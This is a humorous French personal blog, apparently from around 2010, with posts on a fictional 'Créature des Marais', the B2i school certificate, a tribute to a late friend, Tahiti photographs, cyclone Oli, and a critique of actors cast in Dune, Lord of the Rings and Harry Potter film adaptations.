  En me relisant, je m’aperçois que cette histoire n’a aucune espèce d’intérêt mais peut-être une morale. Je vais transférer mes sous sur l’établissement bancaire de mon épouse. Le mien ne vaut rien. Merci de votre attention.

  
• Juste une image

  Une image qui est, en fait, une capture sur Skype. Seulement pour voir ce que ça donne. Il faut bien expérimenter de temps en temps. Et puis vérifier si cette saloperie de newsletter fonctionne enfin.

  

  Si quelqu’une ou quelqu’un reconnaît la gentille personne qui figure sur ce cliché, ayez l’amabilité de ne pas révéler son identité dans un commentaire. Elle préfère garder l’anonymat sur un blog aussi nul. On la comprend.

  
• Résultats du grand sondage sur la CdM

  Le Aidez-Ouam , comité de soutien à la Créature des Marais, avait placé sur le blog précédent un sondage en ligne pour déterminer comment la pauvre bête était perçue par les visiteuses et visiteurs, extra-terrestres ou non.

  A l’heure où théoriquement ce blog ancien doit disparaître, nous en profitons pour publier les résultats sur ce nouvel endroit qui héberge désormais l’ancien contenu (hormis le trombinoscope et c’est bien dommage).

  Sous vos yeux éblouis, voici la décision sans appel des votes de 67 personnes :

  
  

  
  

  La vérité éclate enfin à la manière d’une bombarde non moins virtuelle que bretonne et qui secoue la blogosphère toute entière ! La Créature des Marais est admirable pour 52 % des votants. C’est HISTORIQUE ! Et vous noterez que ce cri de victoire, même en majuscule, est infiniment plus supportable à l’écrit que beuglé par un commentateur sportif.

  Quel sera le succès du nouveau sondage au sujet du nouveau sondage sur la plus belle langue de l’univers ? On se le demande, mon Trésor. Tout ce qu’on sait à l’heure actuelle, c’est que le shadok arrive en tête avec 59%. J’invite donc les supporters des petits hommes bleus qui sont toujours joyeux ainsi que les admirateurs de Monsieur Spock à réagir au plus vite…

  PS : La CdM est  d’ailleurs à présent si célèbre que si vous tapez – avec les majuscules qui conviennent – « la Créature des Marais » sur google puis sur le bouton  « J’ai de la chance », vous tombez directement sur l’ancien blog (à tester avant qu’il ne soit plus en ligne). Incroyable, non ?
  

  
• Voici des fruits, des fleurs, des feuilles et des branches

  Oui, voici des fruits, des fleurs, des feuilles et des branches

  Et voici mon réflex qui ne shoote que pour vous.

  

  Bon, non seulement cet article est sans intérêt et c’est du n’importe quoi, mais en plus, je m’en tamponne le blogon. Pourtant, me feront observer avec justesse les esprits taquins, il manque les fruits. C’est vrai et c’est pourquoi j’ai ajouté des poissons roses, provende océane, en guise de fruits. Ce n’est pas tout à fait régulier, je vous l’accorde. Songez cependant que j’aurais pu vous affliger de connaissances plus précises si je les avais possédées quant aux espèces. Ce n’est pas le cas (ah si, quand même, les poissons sont des vivaneaux – de la famille des Lutjanidés – qui vivanisent à 150 mètres de fond).

  

  Plus avant :

  J’arrive tout couvert encore de rosé

  Que l’excès du matin fait glisser à mon front.

  Souffrez que mon ivresse à vos pieds déposée

  Mouillent vos chevilles de ma sueur de pochtron.

  Heureusement que Verlaine buvait sec, le plus illustre des hydropathes, et s’il peut nous lire de là-haut (excuse-nous, Paul), qu’il sache bien ici que l’absinthe existe encore et que je serais éperdu de gratitude s’il voulait l’écluser en ma compagnie. Je vous avais prévenu : c’est du n’importe quoi.

  Merci tout de même de votre attention.

  PS : Leaves of grass, titre débile s’il en fût est à lire de préférence dans la traduction de Jules Laforgue. Cela me rappelle Roberto Benigni qui en est infusé dans le Down by law de Jim Jarmush où se commettent avec lui le sobre Tom Waits et le classieux John Lurie : un film à revoir.
  

  
• Lego et Mégalomanie précoce

  Le Aidez-Ouam (le fameux d’entre les célèbres comités de soutien à la Créature des Marais) est évidemment infiniment reconnaissant à ses plus jeunes collaborateurs de leur participation créative à la notoriété de la CdM. Toutefois, un vote unanime a tranché la question à l’ordre du jour en décidant que attendu  :
  

  1. que ce vaisseau d’Albator fait deux fois le gabarit de l’original
  2. que le contrôle des mines a refusé sa mise en circulation hors de l’espace intersidéral
  3. que le mauve est une couleur immonde

  

  L’agrément pour un stationnement permanent sur le tapis du salon est tout bonnement refusé. Une commission a prévu d’examiner attentivement l’influence des Lego sur la Mégalomanie précoce.

  Merci de votre attention.

  
• B2i, je sais faire…

  QU’EST CE QUE LE B2i ?
  

  Pour celles et ceux qui ignorent, pauvres d’elles et d’eux, ce qu’est le B2i, affranchissons-les sur le champ et le sigle : Brevet Informatique et Internet.

  Ce brevet, les collégiens doivent le valider pour obtenir le DNB (diplôme national du brevet – mais si vous ne saviez pas cela non plus, cet article ne vous amusera sans doute pas – pourtant si vous êtes opiniâtre et aimez à apprendre, consultez le BO).

  Le B2i comporte des items catégorisés en domaine de compétences. Sur le serveur académique, les apprenants envoient des requêtes avalisées par une clique de souris professorales, sachant que les enseignants de chaque discipline ont théoriquement leur chasse gardée.

  Seulement, il y a un hic car les postulant(e)s à l’attribution de l’incontournable B2i sont astreint(e)s à produire une justification écrite pour chaque item que l’équipe pédagogique doit examiner. Pour la plupart, les compétences requises sont techniques.

  COMMENT PROUVER EN QUELQUES MOTS QUE L’ON MAÎTRISE UNE COMPÉTENCE ?

  Rien de plus simple :

  
  

  On m’accordera que le Sâr Rabindranath Duval avait déjà opté pour une façon assez similaire.

  COMMENT FAIRE ENCORE PLUS SIMPLE ?

  Eh bien, les autres compétences relèvent de ce que l’on appelle ordinairement la morale. Les règles de bon usage du web : la sécurité personnelle et le respect de l’autre, les droits et les devoirs, soi, l’autre, la collectivité en général. Tout ça.

  Donc, en adéquation limitée avec l’esprit même du B2i, on peut toujours s’oublier, changer de discours et de ton. Comme ceci.

  
  
  

  Et « S’il vous plait », ça t’écorcherait la gueule ? Ah oui, vraiment, le B2i, c’est l’assurance que nos djeunes ont acquis le sens de l’effort, de la réalité et cette courtoisie élémentaire qui est l’apanage de toute forme d’éducation réussie.

  Merci de votre attention. Et au fait, pour prendre la pleine mesure du numérique à l’usage de l’enseignement, allez donc voir ce blog sympa et intéressant.
  

  
• Mais qu’est-ce que cela ?

  

  Le Aidez-Ouam l’a dit ou, enfin, le dit maintenant, c’est pareil : la CdM ne peut communiquer que par métaphore. Or, les métaphores photographiques sont moins dispendieuses que les vidéos. Sans compter le texte qui prend du temps pour être explicite.

  Pourtant, on ne s’en passera pas en l’occurrence : Sur l’image du ce post, l’on peut voir l’ombre naine du fils de Dark Vador et d’une morille sur laquelle il s’était assis par mégarde et dont le père était un playmobil moyen-âge de 1977. D’autre part, le reflet de l’être qui le surplombe sur la droite n’est autre que la métisse de la soeur de Alf vivant légalement mariée à Jar-Jar-Binks. Et tout ça planté sur un bâton. C’est tellement simple, la généalogie. Pourquoi s’embêter ?

  Merci de votre attention.

  Précision : Finalement, c’est peut-être le tombeau du Devin Plombier des Shadoks.

  
  

  
• Devinette

  Mais qu’est-ce ?

  

  
• Que fait la Créature ?

  Certes, on se le demande…

  Donc, un des plus jeunes adhérents du Aidez-Ouam a mené l’enquête : le vérité est accablante !

  *

  *

  *

  Désolé mais la vérité sort de la bouche des enfants…

  PS : on a dû sous-titrer car le Till masqué n’est plus très francophone ces temps derniers.

  
• Salut

  Pour faire court, la Créature des Marais a peut-être encore des choses à dire.

  Merci de votre attention cependant.

  
• La clef jaune

  On pourra toujours arguer (et attention si l’on veut le faire de vive voix, il faudra prononcer « argu-er » pour respecter la noble langue qui s’écrit ici) que décidément la CdM n’a pas de coeur de faire une vidéo comique telle que la clef jaune avant même les obsèques de son inspirateur et hébergeur actuel quoique défunt. Les reproches – comme l’on sait – ne s’adressent habituellement qu’à ceux qui font. Et puis, je crois que les descendants et petits descendants (auxquels fait vaguement allusion la substance didactique de la nouvelle vidéo) ne doivent pas démériter de la veine humoristique dont ils sont inévitablement redevables à leurs ascendants. D’autre part, je soupçonne que la chose aurait – au minimum – fait sourire El Pop… N’est-ce pas l’essentiel ?

  Il n’est pas nécessaire d’espérer pour entreprendre, non plus que de réussir pour persévérer. Néanmoins, nous conseillons de se reporter à la vidéo précédente qui n’a (avouons-le tout de go) strictement aucune espèce d’intérêt pour mieux goûter le sel de la suivante : Le sérieux n’est que l’affectation du petit pour paraître grand.

  
• Hommage à Papy Dudu

  Celles et ceux qui ont l’habitude occasionnelle de faire une visite sur ce blog auront peut-être remarqué que l’on aboutissait depuis peu sur une simple page blanche avec un message laconique emprunté à Romain Gary : « Au revoir et merci pour tout ». Cette énigme s’explique ainsi : elle préludait de manière imminente à la disparition de Papy Dudu, né le 27 avril 1942 (au centre sur la photo), qui s’est, hélas, concrétisée ce 8 mars 2010 à 3h45 après que son âme se soit envolée de la côte nord de l’estuaire de la Loire .

  

  En petit matelot ?

  

  En uniforme du Lycée Livet ?

  
  

  

  Get your own style !

  
  

  

  La Baule ?

  

  Les chats sauvages ?

  

  Flower Power ?

  

  Seventies

  

  Qui est chauve ?

  

  Un temps pour tout…

  

  Période Robert de Niro ?

  

  Cliché rare : Papy Dudu au Brésil dans un village de chercheurs d’or

  

  Papy Dudu (identité auto-proclamée car l’homme indépendant choisit tôt ou tard son nom) alias El Pop ou Jean-Yves a eu l’amabilité de prêter son espace free à la CdM depuis février 2008 afin qu’elle puisse débloguer en toute impunité. On lui doit des contributions concrètes comme ici ou là, il impulsait régulièrement les bêtises créaturesques par ses courriels humoristiques et c’est à ce titre qu’il est cité comme éminence grise et verte de la CdM à cet autre endroit. Alors, Papy Dudu : Au revoir et merci pour tout.

  PS : Si vous connaissiez Papy Dudu, vous avez la possibilité d’écrire un commentaire qui sera transmis à la famille. Merci de votre attention.
  

  
• Panne d’essence

  Je crois qu’il n’y a rien à comprendre… sauf que j’ai perdu la clef.

  
• Je n’ai plus de dents contre vous

  Si tant est que j’en ai eu, ce dont je ne me souviens pas, il est évident que je ne peux plus me le permettre.

  Voyez d’ailleurs…

  

  Merci de votre attention.

  PS: un petit son au sujet duquel je dois réaliser la vidéo…

  dentition

  
• Défi n°11 : Le Trésor des Îles

  Sautez ce préambule si vous êtes pressé(e), il est sans intérêt sauf pour les personnes qui cherchent un bon dictionnaire du français sur le ouèbe…
  

  Le défi n°11 de Mao consiste à illustrer l’idée de « trésor ». J’ai commencé à réfléchir à la question avec la célérité de réflexion qui me caractérise mais les premières idées sont souvent triviales. Exemple : Venant d’acquitter un premier acompte in extremis, j’ai songé au Trésor public… Mais ça manque de poésie. Creusant un peu, et surtout tournant sept fois ma langue dans ma goule avant de penser à haute voix, il m’est venu à l’esprit que j’aime la langue française. Voici donc un lien pour qui voudrait découvrir le Trésor de la Langue Française Informatisé qui vaut son pesant de cacahuète (même si je lui préfère le portail lexical très complet du CNRTL). Tout cela ne faisait pourtant guère avancer le schmilblik.

  

  ça, c’est le playmobil-lien des défis de Mao

  RANGIROA
  

  Soudain, ô miracle, j’ai repensé à une visite à la bijouterie Ikimasho sur Rangiroa. Le Trésor ? Les perles de Tahiti dont Stéphane Froleau fait de magnifiques bijoux.

  

  Rangiroa ? Un bijou, un trésor ! Deuxième plus grand atoll après celui de Christmas à Kiribati, avec un lagon époustouplifiant de 80 km de long et 32 de large, et situé à 18 724 km de Tours ! Oui, Rangiroa, c’est krès krès choli ! Rangiroa signifie le ciel immense en langue Paumotu dont la méthode assimil est encore en cours d’élaboration.

  

  Non seulement le bleu de son lagon est plus célèbre que le bleu d’Auvergne mais la végétation est également magnifique de contraste et de couleur, à ce point qu’il inutile de rajouter de la saturation sous photoshop.

  

  Et tout ça, sans compter les poissons qui sont eux aussi magnifiques, pleins de couleurs, de contrastes, d’arêtes et de phosphore excellent pour les os.

  

  Oui, mais bon, tous ces trésors ne sont pas transportables ni même téléportables, c’est vrai. Toutefois, il est une chose qu’on peut ramener de Rangiroa, c’est la perle. En effet, il y a plusieurs fermes perlières sur l’île, Stéphane et Shoko Froleau s’y fournissent.

  LA BOUTIQUE IKIMASHO

  On y vient. Il vous suffit de cliquer sur l’image ci-dessous pour qu’un merveilleux diaporama carousel avec effet lightbox s’ouvre en pop up sous vos yeux ébahis sur les Trésors de la boutique.

  

  
  

  Comme je suis un blogueur certifié non-influent, je me permets ce petit coup de pub… Et pour plus de renseignements, voici le site IKIMASHO, beaucoup plus complet… Merci de votre attention.
  

  
• Star Wars 7 : Le coup de 12

  Que peut faire l’apprenti Jedi quand son sabre-laser est foutu ? Vous le saurez en regardant Star Wars 7 : Le coup de 12 !

  Et merci de votre attention.
  

  
• Tiki

  Eh oui, Tiki… C’est un peu sur le même ton que Chiquito s’adresse à Tintin monté nuitamment à bord du Pachacamac pour sauver Monsieur Tournesol (page 8 – Le Temple du Soleil), je cite :

  - Le bracelet de la momie !!!

  - Eh ! Oui, le bracelet de Rascar Capac !

  - Mais, mais c’est Chiquito !

  - Eh ! Oui, Chiquito…

  Donc, c’est un peu dans le même état d’esprit que vous pouvez consulter les images de cet article. en effet, on y montre son tiki sans préjudice que chacun y attache ce qu’il y met (même s’il ne faut pas mettre son tiki sans précaution n’importe où et cela indépendamment de la taille plus ou moins impressionnante qu’il peut atteindre, sans parler du poids – N’est-ce pas David ? J’attends toujours l’USBanana). Quoi qu’il en soit, il existe deux catégories d’êtres, ceux qui croient aux tiki, et les autres, les saligauds qui sont à ce point incroyants que leur propre mère rougirait en l’apprenant.

  Alors, comme il est notoire que les Polynésiens aient été en contact avec les Incas, je vous place ici un Tiki polynésien érigé sur le parking de l’aéroport de Faaa et qui semble naturellement se rattacher par son activité éponyme au sommet de la culture Qechua. Non ? Eh ! Oui, je déconne…

  

  Et puis, tant qu’on y est, on va abuser du super diaporama 3D paramétrable, mis gracieusement à disposition par Maître Saverio pour montrer des Tiki d’un peu partout sur tahiti :

  La valse des Tiki

  Merci de votre attention.
  

  
• Tahiti : Carrousel de Punui

  Allez un petit diaporama (si, si, c’est bien ça, il faut cliquer sur le mot diaporama) pour vous montrer quelques photographies prises du côté de Punui, presqu’île de Taiarapu.

  Voici la vue satellite des lieux où elles ont été prises :

  

  Et une image un peu plus large pour vous situer le coin sur Tahiti :

  

  NB : Il vous faudra peut-être donner les autorisations nécessaires à l’ouverture du « diaporama pop-up » puis des « images en lightbox » quand vous cliquez pour agrandir. Merci de votre attention.

  
• les short stories d’un anonyme

  Le sous-onglet du blog correspondant à ce titre présentait un seul texte d’un ami anonyme qui n’a jamais cherché à publier et dont les nouvelles baignent principalement dans l’ambiance brésilienne. On y parle aussi de la Guyane.
  

  Il y en a désormais six en ligne. Pour ma part, j’adore son style. Si vous voulez découvrir…

  
• La cabane décapsuleur

  Perdu le décapsuleur ? Voici la cabane décapsuleur : solution idéale pour décapsuler votre bière. Alors, c’est sûr, en appartement, ce n’est pas facile, d’ailleurs la cabane décapsuleur n’existe qu’en version jardin. Mais avant tout la cabane décapsuleur, c’est ouvrir sa bière au grand air…

  
  

  
  

  La cabane décapsuleur : Vos enfants vont adorer.

  
  

  Cette vidéo stupide est l’écho d’un article jadis publié par David : L’étagère la plus lourde du monde.

  Merci de votre attention.

  
• Défi n°10 : le défi des défis

  Fréquentant ce blog, on aura remarqué que la CdM participe épisodiquement au « défi du vendredi » de Mao. L’icône consacrée ci-dessous fait référence au n°10  :

  

  Quel est le défi n°10 de ce vendredi 12 février 2010 ? Une mise en abîme puisqu’il s’agit d’illustrer le mot « défi » !  Nous voilà dans une perspective quasi-biblique à l’instar du Cantique des Cantiques ou bien plongé en plein Borges avec une Préface des Préfaces. Donc, facile pour la CdM qui se permet de citer le Real Blog et Lolobobo, outre MaO, pour anticiper une production vidéo associative avec les individus mentionnés. Quant à celle qui suit, merci aux Jacques Lanzmann et Dutronc !

  OK, l’acteur a pris du bide mais, paraît-il, il arrête de fumer alors la rétention de bière est fatale. Merci de votre attention.

  
• Lilo & le Dauphin, un jeune artiste à Tahiti

  Lilo Antoine Giustiniani, après avoir connu le sud de la France et l’archipel des Loyauté, en dépit de son jeune âge, vit actuellement à Pirae. Ses talents de basketteur et de pongiste ne l’empêchent pas d’être un amoureux de la mer. Voici une de ces oeuvres qu’on classera sans doute un des ces jours à venir comme une oeuvre de jeunesse…

  

  *

  Merci de votre attention.

  
• L’attaque du Tupa : A qui nie les facilités de la technologie

  On s’était déjà gaussé du Tupa sur ce blog avec quelques détails pseudo-scientifiques, déjà, oui. Mais avec l’usage, on découvre que le Tupa peut devenir aussi familier qu’un poisson rouge ou de la couleur qui vous plaira.

  Quel besoin de faire un montage compliqué avec une bande-son triturée ? On filme le Tupa en faisant des bruits insolites avec sa bouche et ensuite on passe la bande à l’envers, c’est pas beau la technologie ?

  *

  

  *

  Merci de votre attention.
  

  
• Livres et Films : Tolkien, Rowling, Herbert

  Grand insomniaque et donc tourneur de pensées en boucle, mais aussi par chance lecteur compulsif, je dois des heures innombrables d’une sérénité reposante, presque égale au sommeil, à la relecture de trois grands cycles littéraires.

  A l’adolescence, mon ami Laurent J*** me fit découvrir le Seigneur des Anneaux et deux ou trois ans plus tard, le cycle de Dune. Quant à Harry Potter, ce fut un présent de Youna Z***, de même, une amie chère. Qu’ils soient tous deux remerciés pour les raisons citées ci-dessus.

  Venons-en au sujet : C’est un truisme, les adaptations cinématographiques issues des oeuvres d’encre et de papier satisfont rarement. La nécessaire incarnation des personnages dont on s’est approprié l’image en tant que lectrice ou lecteur, le sacrifice de la substance des portraits et des pensées sur l’autel de l’action, l’inévitable raccourci d’une diffusion temporellement limitée, autant de clefs pour expliquer le désappointement inéluctable des amoureux des livres. Le spectacle n’est pas le même, non plus que les moyens, soit.

  Indépendamment du fait qu’imager des univers réalistes ou fantastiques soit ce à quoi le cinéma se prête, il existe, selon moi, des réalisations fameuses de fidélité dans l’idée, par exemple, le Lawrence d’Arabie de David Lean à partir du récit de guerre les sept piliers de la sagesse par le véritable Major Lawrence (j’excepte la mort de Faradj et Daoud mais Anthony Queen fait un formidable Aouda), le Nosferatu de Werner Herzog sur le Dracula de Bram Stocker (où les journaux intimes constitutifs du roman ne s’amoindrissent que par leur nombre sans perdre de leur effet) ou encore des réussites évidentes de transposition, et d’enrichissement, comme le Apocalypse Now de Francis Ford Coppola tiré du Coeur des ténèbres de Joseph Conrad.

  En revanche, les cycles, dont nous parlions initialement, convertis en films ont eu le don de m’agacer par bien des côtés mais je voudrais limiter cet avis tout à fait subjectif – cela va de soi – à la distribution de rôles fondamentaux ou secondaires à des acteurs qui dénaturent, et même discréditent le personnage virtuel.

  

  Commençons par Dune. Gageure certainement que de désirer porter à l’écran une saga qui est parfois davantage un traité de politique qu’un roman d’anticipation. Où se trouve le grand dessein de projeter le devenir d’une humanité aux dimensions d’un espace infini, qui accroit ses talents et son mode de vie par le truchement d’une discipline personnelle et l’emploi de l’épice ? On se le demande, mon trésor. En tout cas, pas dans le film. Si les personnages du roman ne possèdent pas la densité psychologique de ceux de Dostoievski, on n’y est pas moins attaché. Je retiens que  Duncan Idaho, personnalité touchante de fierté naïve et professionnelle, devient dans le film de David Lynch un personnage falot à l’allure de militaire d’opérette et qu’il a perdu un des ses attributs essentiels : la longue chevelure noire de karakül… Quant au reste, je me tais : Faire des effets aussi spécieux que spéciaux sur les vers des sables, voilà le seul intérêt peut-être de la tentative. On attend la sortie d’un nouveau Dune en 2010. Espérons mieux.

  

  Poursuivons avec Le Seigneur des Anneaux dans la version de Peter Jackson. Inutile d’épiloguer sur la difficulté de faire jouer des hobbits et autres elfes… Frodon et ses commensaux me paraissent passablement réussis hormis le vieux Bilbon au visage pointu qui ne rappelle sans doute pas la bonhommie ronde de l’esprit de Tolkien. Enfin, ce qui est choquant, pour moi, ce sont surtout les personnages qui représentent le plus de pouvoir ou de majesté. Elrond ne ressemble à rien de raisonnable et surtout, surtout, l’éminent Gandalf n’est qu’un vieillard buriné et sans prestige. Faute impardonnable pour un personnage capital… Un bon point pour Christopher Lee en Saroumane fort crédible.

  

  Finissons par Harry Potter dont la filiation avec l’oeuvre de Tolkien, entre autres, est manifeste, comme celle de Tolkien, entre autres, l’est avec la matière de bretagne, c’est-à-dire le cycle arthurien de la table ronde. Merlin, Gandalf, Dumbledore sont des avatars d’un archétype certainement très ancien pour notre plaisir. Le graal multiplié par J. K. Rowling sous forme des reliques de la mort aussi bien que de horcruxes est le symbole fractionné de ce que John Ronald Reuel Tolkien réalise déjà avec les anneaux ou les palantir. Mais nous comptons achever notre persiflage sur feu Richard Harris qui pour être irlandais n’en est pas moins très éloigné de la noble figure notamment celtique qu’il incarne, puis Mickaël Gambon qui atteint le pire ressemblant plutôt à un ivrogne chevrotant qu’au plus grand sorcier de tous les temps.

  Qu’en est-il entretemps des autres personnages de L’école des Sorciers aux Reliques de la Mort ? Il faut préciser que la réalisation des volumes de Harry potter au cinéma est partagée. Chris Colombus a opté pour une fidélité fort agréable, et particulièrement pour ce qui est de la famille Dursley. Son successeur Alfonso Cuaron introduit Gary Oldman jouant un Sirius Black dément, grossier et moustachu qui n’a que très peu à voir avec l’original romanesque, lequel est un aristocrate rebelle à l’élégance fin de race. Je suis également irrité du choix de Mark Williams qui ne réussit pas à rendre antipathique Arthur Weasley mais qui est très éloigné du portrait livresque (dont la calvitie avancée, la silhouette élongée et les lunettes de travers forment les traits principaux). Quant aux réalisateurs suivants, Mike Newell et David Yates, ils font souffrir la mise en images d’une solution de continuité partielle à leur corps défendant.

  S’agissant des rôles féminins, Emma Watson correspond fort bien selon mon goût à Hermione Granger mais que dire d’une Katie Leung, dont les joues empâtées, le nez quelconque, ôte le charme deviné de la Cho Chang du roman ou encore une Ginny Weasley (Bonnie Wright) dont rien ne rappelle la chevelure et le caractère volcanique. Pourquoi ce choix d’une figure atone alors que le petit bout de femme quasi-garçonne qui deviendra l’épouse de Harry est l’une des personnalités fortes du cycle depuis La chambre des Secrets ?

  Qu’on me comprenne bien. Il n’y a aucune chance pour que les actrices et les acteurs que je dénigre aient jamais connaissance de la chose et j’en suis heureux. Je ne souhaite pas du tout leur faire porter la responsabilité de propositions qu’ils ont acceptées et non faites. Ce sont précisément les réalisateurs que j’incrimine. Qu’un Brad Pitt ne sache rien de l’Iliade pour se mettre dans la peau d’Achille, d’accord. Qu’un réalisateur le choisisse, c’est autre chose. L’enjeu est une filiation niée par les réalisateurs au détriment d’une oeuvre écrite qu’ils devaient assimiler pleinement avant de la couler dans leur propre mode d’expression et je ne veux pas dire par là qu’ils n’étaient pas sous le joug de nombreuses contraintes mais qu’ils auraient dû à l’honnêteté de s’interroger davantage sur le reflet pertinent des humains possibles devant rendre compte des personnages de papier. Voilà résumés mes griefs.

  Cela fait songer à l’histoire drôle sur Hollywood où le producteur surgissant sur le plateau demande :

  - Qu’est-ce que c’est que ces douze types-là ?

  - Ce sont les douze apôtres !

  - C’est miteux. Mettez m’en quarante de plus !

  J’en viens donc au merveilleux, et humain trop humain, Albus Perceval Wulfric Brian Dumbledore. Création majeure de J. K. Rowling qui à l’instar de Maître Tolkien, a fait jaillir d’un creuset magique, où ont été fondus des prédécesseurs illustres, une figure nouvelle, complète et admirable. Pour moi, Albus Dumbledore n’est pas seulement l’artisan global de l’intrigue du cycle de Harry Potter, il est vraiment le parti pris de la courtoisie mesurée à l’égard de tous, d’un humour natif qui ne blesse personne, et celui dont la force réside dans l’aveu de ses faiblesses. Pourrait-on reprocher au personnage une certaine hauteur née de sa supériorité dans son commerce avec le ministère de la magie quand il confie à son protégé le mépris en lequel il se tient lui-même ? Albus-le-blanc, comme Gandalf, (mais nullement empreint de colère), Perceval dont la chasteté seule peut atteindre le graal (id est la destruction de Voldemort), ajouté à Wulfric qui opère la jonction des caractères celtiques et de l’influence saxonne, du Beowulf au tueur de loup, Brian enfin qui ramène à l’Irlande et qui vainqueur assassiné à la bataille de Clontarf en 1014 contre les Vikings préfigure le destin du Héros de Rowling, assurant la victoire des siens au prix de sa mort.

  J.K. Rowling – toujours vivante et que sa vie soit encore longue et heureuse – pourrait sans doute infirmer mes allégations. Il est toutefois à parier que ces élucubrations lui échapperont et que, par conséquent, je puis continuer à me ridiculiser dans une parfaite inadéquation interprétative sans risques sérieux. Toujours est-il que la voix plaintive de Mickaël Gambon, sa trogne de vagabond, son manque de prestance, sa barbe enserrée d’un élastique bouffon à milieu de sa longueur, sa toque tronquée où l’on attendait le cône traditionnel qui signifie l’élévation du mage sont des éléments rédhibitoires à ce qu’un tel acteur puisse revêtir la robe de l’homme docte, sensible, précieux qu’il a charge de personnifier. Un vrai grand homme de fiction comme Dumbledore s’impose à la réalité. Cette trahison cinématographique me semble une calamité pour celles et ceux qui ne lisent pas…

  Merci de votre attention.
  

  
  

  
• Défi de Mao n°9 : Champignon

  Je vous rappelle que pour savoir ce qu’est un défi de Mao, vous cliquez sur le playmobil… car vous aussi, vous pouvez participer !

  

  La contribution de la Créature des Marais se passe de commentaires, non ?
  

  

  Merci de votre attention.

  
• Bora Bora, entre Fenua et Motu

  Evidemment, c’était en janvier avant le cyclone Oli… Fenua, c’est la terre avec la montagne, l’île haute, et Motu, le banc corallien, sable blanc et cocotiers, qui borde le lagon.

  

  Bora est un Fenua entouré d’un lagon lui-même enceint d’un chapelet de Motu… Une splendeur !

  

  Cette photo est en attente d’être placée sur google earth. Deux autres sont déjà en ligne, « Sunset on Moorea » et « Presqu’île de Taiarapu« . Une fois sur la page, vous pouvez cliquer sur ces photographies ou bien les ouvrir via google earth pour voyager un peu. Merci de votre attention.
  

  
• Le Cyclone Oli, une invitation…

  Tout n’est pas que luxe, calme et volupté dans les îles paradisiaques du Pacifique. Après Nisha-la-fidèle qui s’est heureusement dégonflée en tempête tropicale modérée, et une bonne dépression qui est passée sur les Tuamotu – j’ai eu sur Skype une copine, Brigitte B*** qui gîte sur Manihi, sa maison était humide jusqu’aux genoux- il ne fait pas bon être sur un « motu », île basse lagunaire, quand l’eau monte, et maintenant, maintenant c’est au tour de Oli - elle nous vient de l’Ouest – de nous rendre une petite visite.

  En ce qui concerne, l’Archipel de la Société, apparemment, les Îles sous le vent ont commencé à ramasser. Bref, ça souffle costaud à Maupiti, Taha, Raiatea et Bora-Bora avec des creux peut-être jusqu’à 7 mètres pour celles et ceux à qui ça dit quelque chose. Du côté, Îles du vent, le trafic maritime est interrompu avec Moorea, Air Tahiti a également renoncé à faire voler sa flottille. Pour l’instant (16h30) sur Papeari côte Ouest côté Taiarapu, ce sont surtout de vigoureuses trombes de pluie avec quelques belles risées. Je suis allé faire des courses à Taravao il y a une heure, ça circule et l’on ne déplore que la chute de quelques branches et arbres menus, bananiers, papayers et bougainvilliers. N’importe, les contre-plaqués sont déjà sur les baies (merci à mon ami et voisin Pierre B*** pour le coup de main), et nous qui disposons d’un maison en dur, nous pensons à toutes les personnes alentour qui habitent des cabanes de bois… Bon, si nos baies sont fermées, notre porte est ouverte à qui aura besoin.

  

  Le vent continue de monter. L’alerte rouge est à 18h et à partir de 21h, interdiction de sortir ou de circuler sauf si on pèse plus de 180 Kg et encore sans parapluie.

  Bon, la Créature des Marais vous tient au courant si on ne le coupe pas… Nous avons des lampes, des bougies, du lait de croissance, du gaz, des filets d’agneau et deux bouteilles de bordeaux. Avec trois paquets de Benson&Hedges  et un paquet de bison au cas où ça dure (et du papier non gommé qu’on ne peut coller que si on a de la bave de crapaud en guise de salive), normalement, on est parés.

  

  J’ai profité de ce que le vent ne soit pas à décorner un cocu pour vous présenter la petite vidéo ci-dessous.

  Eh bien, à part cela, comme on disait dans Le Prisonnier, Bonjour chez vous.

  Ajouté le lendemain à 9h30 : Oli n’a rien cassé chez nous, à part quelques branchettes de filao; même le jeune papayer n’a pas été couché. Bref, les rafales de vent nocturnes n’ont pas empêché la famille de dormir et l’océan est aussi plat qu’hier. Il y a encore de belles risées, ce matin mais la levée de l’alerte rouge est imminente et l’interdiction de circuler prendra fin cet après-midi. Bref, Papeari n’a pas souffert. En revanche, il y a des dégâts ailleurs, notamment côte Est : des arbres et des fils tombés, donc des routes coupées et 20% des foyers privés d’électricité…

  
• La CdM : le retour

  Bonjour, chères visiteuses et chers visiteurs et bienvenue de nouveau. Certes, une éclipse d’un mois (presque) peut être assimilée par les blogueurs accros à un quasi-petit-suicide. Bon, je m’en fous car cela reste personnel et depuis que j’ai supprimé les stats de ce blog, je m’en fous un poil de plus… J’avais d’autres choses à penser, voilà tout.

  Et d’ailleurs, j’avais été prophète de malheur le 9 janvier, je m’auto-scythe : « il faut rire dès le début de l’année avant que les catastrophes sans nombre s’abattent sur le pauvre monde. » Eh oui, ça calme quand les amis haïtiens se prennent la maison sur la tête dès le lendemain.
  

  De toute façon, personne ne s’est ému de cette carence d’actualisation, ce dont je souhaite remercier chaleureusement celles et ceux qui me connaissent et viennent de temps à autre ici car j’ai horreur des remarques stupides dans le style : « bah, alors ? Qu’est-ce qu’y a ? T’es malade ? » Oui, oui, je le répète, quelle chance d’avoir des amis si délicats.

  Quant aux visiteuses et visiteurs inconnu(e)s, quelle occasion auraient-ils eu d’être surpris(e)s quand les indices de recherche me démontrent qu’ils ont abouti sur cette page en tapant : « petite fille poilue » ou « épilation totale » ? Donc, pour elles ou plutôt pour eux, aucun regret déplacé.

  Avec tout ça, j’ai manqué plusieurs fois les rendez-vous exigeants de Mao question défi. C’est pourquoi avec quatre jours de retard, je participe.

  

  Et voici ma vidéo stupide, le défi étant « les cadeaux ».

  *
  

  *

  Et puis, à ce compte-là, on peut bien mettre deux vidéos pour le prix d’une.

  *

  
  

  Eh oui, tout le monde n’a pas la chance d’avoir le téléphone à fil dans les toilettes

  en cas de besoin.

  Bonjour chez vous !

  
  

  Et merci de votre attention.

  
• La Créature ne relève pas le défi !

  Ni le niveau, cela va de soi. MaO qui propose à une fréquence alarmante l’occasion de rigoler un coup, a choisi comme « défi du vendredi n°5″ un nouveau thème bien killer : « chaises » au pluriel…

  

  Disons-le tout de go, la Créature avait déjà laissé un commentaire récent sur le blog de MaO pour dire que pondre une idée même modeste tous les vendredis, c’était déjà assez délicat, et qu’elle ne participerait pas à ce nouveau défi. C’est vrai. Toutefois, l’invitation de MaO à déconner toutes les semaines est si louable que faute de vidéobilité à la con, vous devrez vous contenter d’une image.

